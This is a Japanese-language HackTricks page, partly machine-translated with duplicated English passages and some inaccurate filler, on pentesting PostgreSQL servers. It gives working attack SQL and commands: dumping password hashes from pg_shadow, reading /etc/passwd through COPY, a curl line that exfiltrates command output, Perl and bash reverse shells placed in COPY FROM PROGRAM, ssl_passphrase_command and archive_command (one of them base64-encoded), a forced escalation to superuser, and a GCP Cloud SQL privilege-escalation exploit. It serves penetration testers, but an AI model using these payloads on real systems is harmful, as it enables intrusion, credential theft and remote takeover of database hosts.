46 KiB
5432,5433 - PostgreSQLのペンテスト
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを入手してください。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo および hacktricks-cloud repo に提出してください。
基本情報
PostgreSQLは、SQL言語を使用しているオープンソースのオブジェクト関係データベースシステムです。
デフォルトポート: 5432で、このポートが既に使用されている場合、おそらく使用されていない次のポート(おそらく5433)がpostgresqlに使用されます。
PORT STATE SERVICE
5432/tcp open pgsql
接続と基本的な列挙
Connect to PostgreSQL
PostgreSQLへの接続
To connect to a PostgreSQL database, you can use the psql
command-line tool or any PostgreSQL client application. The psql
tool is commonly used and comes pre-installed with PostgreSQL.
PostgreSQLデータベースに接続するには、psql
コマンドラインツールまたは任意のPostgreSQLクライアントアプリケーションを使用できます。psql
ツールは一般的に使用され、PostgreSQLと一緒に事前にインストールされています。
To connect using psql
, open a terminal and run the following command:
psql -h <host> -p <port> -U <username> -d <database>
Replace <host>
, <port>
, <username>
, and <database>
with the appropriate values for your PostgreSQL server.
psql
を使用して接続するには、ターミナルを開き、次のコマンドを実行します。
psql -h <ホスト> -p <ポート> -U <ユーザ名> -d <データベース>
<ホスト>
、<ポート>
、<ユーザ名>
、および<データベース>
を、PostgreSQLサーバーの適切な値に置き換えてください。
Basic Enumeration
基本的な列挙
Once connected to the PostgreSQL server, you can perform basic enumeration to gather information about the database.
PostgreSQLサーバーに接続したら、基本的な列挙を実行してデータベースに関する情報を収集することができます。
List Databases
データベースの一覧表示
To list all the databases in the PostgreSQL server, use the following command:
\l
PostgreSQLサーバーのすべてのデータベースを一覧表示するには、次のコマンドを使用します。
\l
Switch Database
データベースの切り替え
To switch to a specific database, use the following command:
\c <database>
Replace <database>
with the name of the database you want to switch to.
特定のデータベースに切り替えるには、次のコマンドを使用します。
\c <データベース>
<データベース>
を切り替えたいデータベースの名前に置き換えてください。
List Tables
テーブルの一覧表示
To list all the tables in the current database, use the following command:
\dt
現在のデータベースのすべてのテーブルを一覧表示するには、次のコマンドを使用します。
\dt
Describe Table
テーブルの説明
To describe the structure of a specific table, use the following command:
\d <table>
Replace <table>
with the name of the table you want to describe.
特定のテーブルの構造を説明するには、次のコマンドを使用します。
\d <テーブル>
<テーブル>
を説明したいテーブルの名前に置き換えてください。
Execute SQL Queries
SQLクエリの実行
You can execute SQL queries directly from the psql
prompt. Simply type your SQL query and press Enter to execute it.
psql
プロンプトから直接SQLクエリを実行することができます。SQLクエリを入力し、Enterキーを押して実行します。
For example, to retrieve all records from a table, you can use the following command:
たとえば、テーブルからすべてのレコードを取得するには、次のコマンドを使用します。
SELECT * FROM <table>;
Replace <table>
with the name of the table you want to retrieve records from.
<table>
をレコードを取得したいテーブルの名前に置き換えてください。
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
Select user;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
{% hint style="warning" %}
\list
を実行して、rdsadmin
というデータベースが見つかった場合、AWSのPostgreSQLデータベース内にいることがわかります。
{% endhint %}
PostgreSQLデータベースを悪用する方法の詳細については、以下を参照してください:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}
自動列挙
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
ブルートフォース
ポートスキャン
この研究によると、接続試行が失敗すると、dblink
はsqlclient_unable_to_establish_sqlconnection
という例外をスローし、エラーの説明を含めます。以下に、これらの詳細の例を示します。
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- ホストがダウンしています
詳細: サーバーに接続できませんでした: ホスト "1.2.3.4" 上で TCP/IP 接続を受け入れているポート 5678 でサーバーが実行されていますか?
- ポートが閉じています
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- ポートが開いています
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
または
DETAIL: FATAL: password authentication failed for user "name"
- ポートが開いているかフィルタリングされています。
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
残念ながら、PL/pgSQL関数内で例外の詳細を取得する方法はありません。ただし、PostgreSQLサーバーに直接接続できれば、詳細を取得することができます。システムテーブルから直接ユーザ名とパスワードを取得することができない場合は、前のセクションで説明したワードリスト攻撃が成功する可能性があります。
特権の列挙
ロール
ロールの種類 | |
---|---|
rolsuper | ロールにはスーパーユーザー特権があります |
rolinherit | ロールは、そのメンバーであるロールの特権を自動的に継承します |
rolcreaterole | ロールは他のロールを作成できます |
rolcreatedb | ロールはデータベースを作成できます |
rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として与えることができます |
rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除することができます。 |
rolconnlimit | ログインできるロールの場合、この設定はこのロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 |
rolpassword | パスワードではありません(常に******** と表示されます) |
rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用される)。期限がない場合はnullです。 |
rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については、セクション5.8を参照してください。 |
rolconfig | 実行時設定変数のロール固有のデフォルト |
oid | ロールのID |
興味深いグループ
- もし**
pg_execute_server_program
**のメンバーであれば、プログラムを実行できます - もし**
pg_read_server_files
**のメンバーであれば、ファイルを読み取ることができます - もし**
pg_write_server_files
**のメンバーであれば、ファイルを書き込むことができます
{% hint style="info" %} Postgresでは、ユーザー、グループ、ロールは同じものです。それは単に使用方法とログインを許可するかどうかに依存します。 {% endhint %}
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
テーブル
In PostgreSQL, a table is a collection of related data organized in rows and columns. It is the fundamental structure used to store and manipulate data in a database.
PostgreSQLでのテーブルは、行と列で構成される関連データの集合です。データベース内でデータを格納し、操作するための基本的な構造です。
Creating a Table
To create a table in PostgreSQL, you can use the CREATE TABLE
statement followed by the table name and a list of column definitions. Each column definition specifies the name, data type, and any constraints for the column.
テーブルを作成するには、PostgreSQLでは、CREATE TABLE
ステートメントを使用し、テーブル名と列の定義のリストを指定します。各列の定義では、列の名前、データ型、および制約を指定します。
Here is an example of creating a table called users
with three columns: id
, name
, and email
.
以下は、id
、name
、email
の3つの列を持つusers
というテーブルを作成する例です。
CREATE TABLE users (
id SERIAL PRIMARY KEY,
name VARCHAR(50) NOT NULL,
email VARCHAR(100) UNIQUE
);
Modifying a Table
Once a table is created, you can modify it using the ALTER TABLE
statement. This allows you to add, modify, or delete columns, as well as add or remove constraints.
テーブルが作成されたら、ALTER TABLE
ステートメントを使用して変更することができます。これにより、列の追加、変更、削除、および制約の追加や削除が可能です。
Here are some examples of modifying a table:
以下は、テーブルを変更する例です。
-
Adding a new column:
ALTER TABLE users ADD COLUMN age INTEGER;
-
Modifying a column's data type:
ALTER TABLE users ALTER COLUMN email TYPE VARCHAR(150);
-
Deleting a column:
ALTER TABLE users DROP COLUMN age;
Dropping a Table
To delete a table and all its data, you can use the DROP TABLE
statement followed by the table name.
テーブルとそのデータを削除するには、DROP TABLE
ステートメントを使用し、テーブル名を指定します。
Here is an example of dropping a table:
以下は、テーブルを削除する例です。
DROP TABLE users;
Viewing Table Structure
To view the structure of a table, you can use the \d
command in the PostgreSQL command-line interface (CLI) or the DESCRIBE
statement in SQL.
テーブルの構造を表示するには、PostgreSQLのコマンドラインインターフェース(CLI)で\d
コマンドを使用するか、SQLでDESCRIBE
ステートメントを使用します。
Here is an example of viewing the structure of the users
table:
以下は、users
テーブルの構造を表示する例です。
\d users
or
DESCRIBE users;
This will display the column names, data types, and any constraints for each column in the table.
これにより、テーブルの各列の列名、データ型、および制約が表示されます。
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
関数
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values.
PostgreSQL provides a wide range of built-in functions that can be used for various purposes, such as mathematical calculations, string manipulation, date and time operations, and more. These functions can be called directly in SQL queries or used within other functions.
In addition to the built-in functions, PostgreSQL also allows users to create their own custom functions. Custom functions can be written in various programming languages, including SQL, PL/pgSQL, PL/Python, PL/Perl, and more. This flexibility allows developers to extend the functionality of PostgreSQL and create custom solutions tailored to their specific needs.
When performing a penetration test on a PostgreSQL database, it is important to identify and analyze the functions that are exposed by the database. By understanding the functionality and behavior of these functions, a penetration tester can identify potential vulnerabilities and security risks.
During the penetration testing process, it is common to look for functions that may be vulnerable to SQL injection attacks, buffer overflows, or other types of code execution vulnerabilities. By exploiting these vulnerabilities, an attacker may be able to gain unauthorized access to the database, extract sensitive information, or perform other malicious actions.
To identify and analyze the functions in a PostgreSQL database, a penetration tester can use various techniques and tools. These may include manual inspection of the database schema, analyzing the source code of the application that interacts with the database, or using automated scanning tools that can identify potential vulnerabilities.
Once the functions have been identified, a penetration tester can further analyze their behavior and functionality. This may involve analyzing the input and output parameters of the functions, testing for potential security vulnerabilities, or analyzing the underlying code to identify any potential weaknesses.
By thoroughly analyzing the functions in a PostgreSQL database, a penetration tester can gain a deeper understanding of the database's security posture and identify potential vulnerabilities that could be exploited by an attacker. This knowledge can then be used to develop appropriate mitigation strategies and strengthen the overall security of the database.
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
ファイルシステムの操作
ディレクトリとファイルの読み取り
このcommitから、DEFAULT_ROLE_READ_SERVER_FILES
グループ(pg_read_server_files
と呼ばれる)のメンバーとスーパーユーザーは、任意のパスで**COPY
**メソッドを使用することができます(genfile.c
のconvert_and_check_filename
をチェックしてください)。
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
{% hint style="warning" %} スーパーユーザーではないが、CREATEROLE 権限を持っている場合、自分自身をそのグループのメンバーにすることができます:
GRANT pg_read_server_files TO username;
詳細情報 {% endhint %}
他のpostgres関数を使用して、ファイルを読み取るかディレクトリをリストすることができます。これらの関数は、スーパーユーザーおよび明示的な権限を持つユーザーのみが使用できます。
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
さらに多くの関数はhttps://www.postgresql.org/docs/current/functions-admin.htmlで見つけることができます。
簡単なファイル書き込み
ファイルの書き込みには、スーパーユーザーと**pg_write_server_files
**のメンバーのみがcopyを使用できます。
{% code overflow="wrap" %}
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
{% endcode %}
{% hint style="warning" %}
覚えておいてください。スーパーユーザーではない場合でも、CREATEROLE
権限を持っている場合は、そのグループのメンバーになることができます:
GRANT pg_write_server_files TO username;
詳細情報 {% endhint %}
COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、1行のコマンドを送信する必要があります。
このテクニックの非常に重要な制限は、copy
はバイナリファイルの書き込みに使用できないため、一部のバイナリ値を変更します。
バイナリファイルのアップロード
ただし、大きなバイナリファイルをアップロードするための他のテクニックがあります:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
バグバウンティのヒント:Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
RCE
プログラムへのRCE
バージョン9.3以降、RCEにはスーパーユーザーと**pg_execute_server_program
**グループのメンバーのみがcopyを使用できます(例:情報の外部流出:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
実行の例:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
{% hint style="warning" %}
スーパーユーザーではないが、CREATEROLE
権限を持っている場合、そのグループのメンバーに自分自身を追加することができます:
GRANT pg_execute_server_program TO username;
詳細はこちら {% endhint %}
または、metasploitのmulti/postgres/postgres_copy_from_program_cmd_exec
モジュールを使用します。この脆弱性についての詳細はこちらを参照してください。CVE-2019-9193として報告されていますが、Postgesはこれを機能として修正しないと宣言しました。
PostgreSQL言語を使用したRCE
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}
PostgreSQL拡張機能を使用したRCE
前の投稿からバイナリファイルのアップロード方法を学んだ後、PostgreSQL拡張機能をアップロードしてロードすることでRCEを取得することができます。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
PostgreSQL設定ファイルRCE
PostgreSQLの設定ファイルは、データベースを実行しているpostgresユーザーによって書き込み可能です。したがって、スーパーユーザーとしてファイルシステムにファイルを書き込むことができ、したがってこのファイルを上書きすることができます。
ssl_passphrase_commandを使用したRCE
設定ファイルには、RCEにつながる可能性のあるいくつかの興味深い属性があります。
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
データベースのプライベートキーへのパスssl_passphrase_command = ''
プライベートファイルがパスワードで保護されている場合(暗号化されている場合)、postgresqlはこの属性で指定されたコマンドを実行します。ssl_passphrase_command_supports_reload = off
この属性がonの場合、キーがパスワードで保護されている場合に実行されるコマンドは、pg_reload_conf()
が実行されたときに実行されます。
したがって、攻撃者は次の手順を実行する必要があります:
- サーバーからプライベートキーをダンプする
- ダウンロードしたプライベートキーを暗号化する:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- 上書きする
- 現在のpostgresqlの設定をダンプする
- 上記の属性設定で設定を上書きする:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
を実行する
これをテストしてみたところ、プライベートキーファイルが640の権限を持ち、rootが所有し、グループssl-certまたはpostgres(postgresユーザーが読み取れるように)である必要があることがわかりました。また、_ /var/lib/postgresql/12/main_に配置されている必要があります。
このテクニックについての**詳細はこちら**を参照してください。
archive_commandを使用したRCE
設定ファイルのもう1つの攻撃可能な属性はarchive_command
です。
これを動作させるには、archive_mode
設定が'on'
または'always'
である必要があります。それが真である場合、archive_command
のコマンドを上書きして、WAL(Write-Ahead Logging)操作を介して実行することができます。
一般的な手順は次のとおりです:
- アーカイブモードが有効かどうかを確認する:
SELECT current_setting('archive_mode')
- ペイロードで
archive_command
を上書きする。例えば、リバースシェル:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
- 設定をリロードする:
SELECT pg_reload_conf()
- WAL操作を強制的に実行し、アーカイブコマンドを呼び出す:
SELECT pg_switch_wal()
または一部のPostgresバージョンではSELECT pg_switch_xlog()
この設定とWALに関する**詳細はこちら**を参照してください。
Postgres Privesc
CREATEROLE Privesc
Grant
ドキュメントによると、**CREATEROLE
**権限を持つロールは、スーパーユーザーではない****任意のロールのメンバーシップを付与または取り消すことができます。
したがって、CREATEROLE
権限がある場合、他のロール(スーパーユーザーではない)へのアクセス権限を自分自身に付与することができ、ファイルの読み書きやコマンドの実行などのオプションを得ることができます。
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
パスワードの変更
この役割を持つユーザーは、他の非スーパーユーザーのパスワードを変更することもできます。
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
SUPERUSERへの昇格
ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできることは非常に一般的です。したがって、コードの実行権限を取得した後は、これらの権限を悪用してSUPERUSER
ロールを取得することができます。
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
{% hint style="info" %}
これは通常、pg_hba.conf
ファイル内の次の行によって可能になります:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
{% endhint %}
ALTER TABLEの特権昇格
この解説記事では、Postgres GCPでALTER TABLEの特権を悪用して特権昇格が可能であった方法が説明されています。
通常、別のユーザーをテーブルの所有者にすることはエラーが発生するはずですが、どうやらGCPでは非スーパーユーザーのpostgresユーザーにそのオプションが与えられていました。
この考えを、インデックス関数を持つテーブルに対してINSERT/UPDATE/ANALYZEコマンドが実行されると、その関数がコマンドの一部として所有者の権限で呼び出されるという事実と結びつけると、テーブルに対して関数を持つインデックスを作成し、そのテーブルに対して所有者の特権を持つスーパーユーザーに与え、その後、悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。この悪意のある関数は所有者の特権を使用してコマンドを実行することができます。
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
悪用
- 新しいテーブルを作成します。
- テーブルにいくつかのダミーコンテンツを挿入し、インデックス関数が処理するものを用意します。
- テーブルに悪意のあるインデックス関数(コード実行ペイロードを含む)を作成します。
- テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するために使用されます。
- テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者(cloudsqladmin)に切り替え、cloudsqladminの権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。
PostgreSQLでは、このフローは次のようになります:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
実行したエクスプロイトSQLクエリの後、shell_commands_results
テーブルには実行されたコードの出力が含まれています。
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
ローカルログイン
一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。dblink
関数を使用して、127.0.0.1からローカルログインすることが可能です。
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
{% hint style="warning" %}
前のクエリが動作するためには、dblink
関数が存在する必要があります。存在しない場合は、以下のコマンドで作成してみることができます。
CREATE EXTENSION dblink;
{% endhint %}
もし特権を持つユーザーのパスワードを持っているが、そのユーザーは外部IPからのログインが許可されていない場合、以下の関数を使用してそのユーザーとしてクエリを実行することができます。
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
この関数が存在するかどうかを確認することができます。以下の方法で確認できます。
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
SECURITY DEFINERを持つカスタム定義関数
この解説記事では、IBMが提供するPostgreSQLインスタンス内で、ペンテスターがSECURITY DEFINERフラグを持つこの関数を見つけたため、特権昇格が可能になりました。
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
ドキュメントで説明されているように、SECURITY DEFINERを持つ関数は、それを所有するユーザーの特権で実行されます。したがって、関数がSQLインジェクションの脆弱性を持っているか、攻撃者が制御するパラメータで特権のあるアクションを実行している場合、PostgreSQL内で特権昇格が悪用される可能性があります。
前のコードの4行目で、関数にはSECURITY DEFINERフラグがあることがわかります。
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
そして、コマンドを実行します:
PL/pgSQLを使用したパスワードのブルートフォース攻撃
PL/pgSQLは、完全な機能を備えたプログラミング言語であり、SQLよりもはるかに手続き的な制御が可能です。ループや他の制御構造を使用することができます。SQL文やトリガーは、PL/pgSQL言語で作成された関数を呼び出すことができます。
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォース攻撃させることができます。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
ロギング
postgresql.conf ファイルの中で、以下の設定を変更することで、PostgreSQLのログを有効にすることができます。
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
次に、サービスを再起動してください。
pgadmin
pgadminは、PostgreSQLの管理および開発プラットフォームです。
_pgadmin4.db_ファイルの中にはパスワードが含まれています。
スクリプト内の_decrypt_関数を使用して、それらを復号化することができます:https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
クライアント認証は、pg_hba.conf という名前の設定ファイルで制御されます。このファイルには、いくつかのレコードがあります。レコードは次の7つの形式のいずれかを持つことができます。
各レコードは、接続タイプ、クライアントのIPアドレス範囲(接続タイプに関連する場合)、データベース名、ユーザ名、およびこれらのパラメータに一致する接続に使用される認証方法を指定します。認証を実行するためには、一致する接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザ名を持つ最初のレコードが使用されます。 "フォールスルー"や"バックアップ"はありません:1つのレコードが選択され、認証が失敗した場合、後続のレコードは考慮されません。一致するレコードがない場合、アクセスは拒否されます。
パスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードが接続を介して送信される方法を除いて、同様に動作します:それぞれ、MD5ハッシュ、crypt暗号化、およびクリアテキストです。制限として、cryptメソッドはpg_authidで暗号化されたパスワードでは機能しません。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}